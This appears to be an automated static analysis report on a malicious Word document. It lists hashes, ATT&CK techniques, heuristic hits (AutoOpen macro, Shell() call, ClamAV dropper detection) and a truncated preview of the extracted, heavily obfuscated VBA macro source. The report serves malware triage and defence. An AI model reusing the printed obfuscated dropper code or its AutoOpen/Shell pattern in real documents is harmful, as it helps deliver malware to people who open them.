Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 428e69894303b2f4…

MALICIOUS

Office (OLE)

197.5 KB Created: 2018-02-26 11:23:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 7af2017bb1074591877620f82718947c SHA-1: 61459f08a52bd0bea52e4ed85b396c028b0cbe8d SHA-256: 428e69894303b2f44031274dae2a0f1acb3994c096046fe8116a63e5d97c86c6
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, including an AutoOpen macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6457272-0' further supports its role as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6457272-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6457272-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 62903 bytes
SHA-256: 62713b95578d7e2d92b10a8b98740d9852bc0ae26c1383f2a482f53be66ce372
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cwunwdozRdnPR"
Sub fwGcvLXjz(OCirpnzRV)
   On Error Resume Next
   Dim FWSQA()
   ReDim BHzhW(2)
   UnjYIrTw(0) = 3115115
   zWZvzzIdiVuPS(1) = 1711788
   pcuJPmPBzir = Loo - 1996221
   fIzWmNXw = 8422300 * 862288
End Sub
Function NwwaIMXVIOSodw()
On Error Resume Next
FouahwZ = "XDFamUihjqVKDOotObdUGHMzjSJbKzJOorav%!=%7rav% tes&&PsOVcY"
CPofaKK = qaQBiXZjz = uqwMbjPrYGcC = (5481041 / KphmphQXS + 1265924 * kfcTAwcrmqMi * (2531136 / PrvzFNozsqo / 8032339 - Tan(rPVWXqZqEnYX / CBool(AKqhwG / 3969358 / ZqUYNt))))
biLHn = zmnliLJlb = TosnpLDX = (5402094 / MdHKsiVjRZBwKz + 5039951 * QCuMA * (2980209 / ZNJOjQOmzvR / 6278077 - Tan(fcswpdTCP / CBool(dvNmuBcPv / 9462140 / iziToPDmDCtQE))))
jzbDXTnKi = gjHBjhbyuf(FouahwZ, 7, 18)
rBnuYauh = "SYKcHJZrWcRPdDTsvHqjPUzCOqlYFJbm3rav%!DVOZDdL"
DXRwHktAHK = MKSUGukaw = Cistoiww = (4416071 / hqifSBfNjM + 2458121 * wwOVL * (2528161 / hLmzNj / 2546058 - Tan(PkmXABzZWjnBFO / CBool(ulECmtiSS / 7113633 / pSvqQvFBQcup))))
DmjiSpPz = MwwYspYLE = osNJhbFk = (3548260 / mLMhifPr + 9325675 * wuAws * (736440 / UmcuZkVdCdHN / 5783068 - Tan(fJaCAlPuMajOBV / CBool(sQQdmlwpZMarD / 5320201 / HdSHS))))
zUlvG = gjHBjhbyuf(rBnuYauh, 8, 6)
wYfEvwbEwmB = "UPavuwjkav% tes&&SwkOpFiRXXGBGP"
cOcmHnvii = CqBVBIVzQ = tTImwDIDznBtv = (4893122 / zVuwdijPhVXGui + 709022 * rjfwVIlhwziqA * (6467038 / vcVBnb / 213471 - Tan(KKEaQazOUvvK / CBool(PbdrjNA / 5595131 / sOANc))))
bAUhz = dYjQRqtVn = iUHwlJvF = (4535563 / fArKDNAKGRqaDz + 3746830 * nidTTunMIOFBr * (8922337 / IcRwdhWMDpiOWb / 1565444 - Tan(JfvVQbEc / CBool(NfBpIzSMThzm / 271782 / IRSadkfRlAzwV))))
ZuKKrEpXj = gjHBjhbyuf(wYfEvwbEwmB, 15, 9)
ElawjJRhjz = "lBiWnGBovmrhjntcWbhh"
MvhKTKZ = VmWbjDLZW = OTCTazkGAdQwbb = (2885596 / wElXRcMhLLbdnD + 1608151 * MOivNa * (2042719 / jIjdmZKuMhG / 1223395 - Tan(zfmGVHOYHSwV / CBool(jNzTlV / 8859298 / qIwjv))))
mQvPKHUwYhj = mBjQFwCSM = rorTvIZqjIb = (8060990 / wswkMjJWqXaVNs + 8160245 * zTrWiGf * (8754389 / wvQSM / 5182622 - Tan(wDjXIMpj / CBool(MBQRz / 6629380 / jcjpkTTq))))
mVNDGDH = gjHBjhbyuf(ElawjJRhjz, 5, 2)
iAptsTw = "KNtjqJWnoZzjVvnWfoGEQQH"
RbpIpkYKT = iGLiCdmzt = JmbzsIZnJ = (2878033 / rGEJuHmvwUkQU + 8123899 * wTHYZL * (3292323 / kfGqdI / 8406734 - Tan(QskrAHVHVACwD / CBool(VGJjLGjkp / 6179992 / zUioQInFaT))))
kpzjEHhl = YjwIpzzCZ = UFKJzh = (8937165 / lNfDERDnrSFrOq + 5403275 * zXKaWI * (6220928 / PWFrJUpjOrT / 2663314 - Tan(UihFCGhziuid / CBool(MbWTZ / 5550273 / zohMMdXdVdX))))
VwWdfzWOz = gjHBjhbyuf(iAptsTw, 4, 3)
lzciZ = "wjOnWHnToprZvAGpCsEToFMlzintwjZoUjdATSnhW"
ZFWrqMUjtl = biHonkXJH = EjBQABtlmntP = (6486307 / WEXjt + 30282 * nFmtPO * (6627285 / lXCINXsqTuAZC / 6579040 - Tan(YLAGRjMrQHf / CBool(aOXlnKvB / 3196824 / HUdiNEltaEFWN))))
adiBXtQWVJ = hOHQGYfmB = GSbwIMPHjRh = (832246 / dnWHGWhbMEB + 8041301 * ftoclEGnW * (2312207 / IcjLwYEfdiid / 7008408 - Tan(ZPTGtNaG / CBool(hVSEjdwsGbjz / 5614324 / WfnzVMnBQELMo))))
whTjFk = gjHBjhbyuf(lzciZ, 22, 8)
twQiVDhWoL = "lhzAWamSsRRjBYSJYiLM%1iNYjGL"
wNdbMawzL = rYEOTipac = iWjlwU = (9057878 / PtDiwnvZojMcN + 2335324 * muNiwiUBk * (4136909 / vBYUtwvFHBiNZR / 3689207 - Tan(tJNAtSAtqlmwH / CBool(sSIBruATmQjIE / 3891967 / jnRfo))))
SRFztYdwUaK = brXVEdAfd = KwzNIP = (953096 / ZZtZWzTkO + 6278889 * KzVRTTBvnwOu * (4047059 / iFiKqLobPrGuB / 4002672 - Tan(CTPTpTKpj / CBool(tHURbLiYjs / 8446214 / ZXVBiidLYSjV))))
VKRChVt = gjHBjhbyuf(twQiVDhWoL, 7, 2)
ZcjnPOq = " DHjBjQTMRXkiZhICdbkirnLQocUoXhpGit"
CSnutCld = WKMQFcCdi = ESEnMvHiN = (5121404 / ChmhpukXKqvYuG + 1996670 * XNuabTic * (6683088 / tuSZjWb / 5962536 - Tan(dZiQhSFX / CBool(ItKhBikRTAV / 6572047 / KzcBpFlHYzPmhq))))
boZTRNPl = owNHVwCUp = LsnoR = (637881 / JmiPjofdAm + 4962647 * vvvUovUGszm * (9394040 / JapwSwpVWFADa / 910739 - Tan(hiVJcj / CBool(GQYwswziJAhaa / 2703346 / jhpkPZ
... (truncated)

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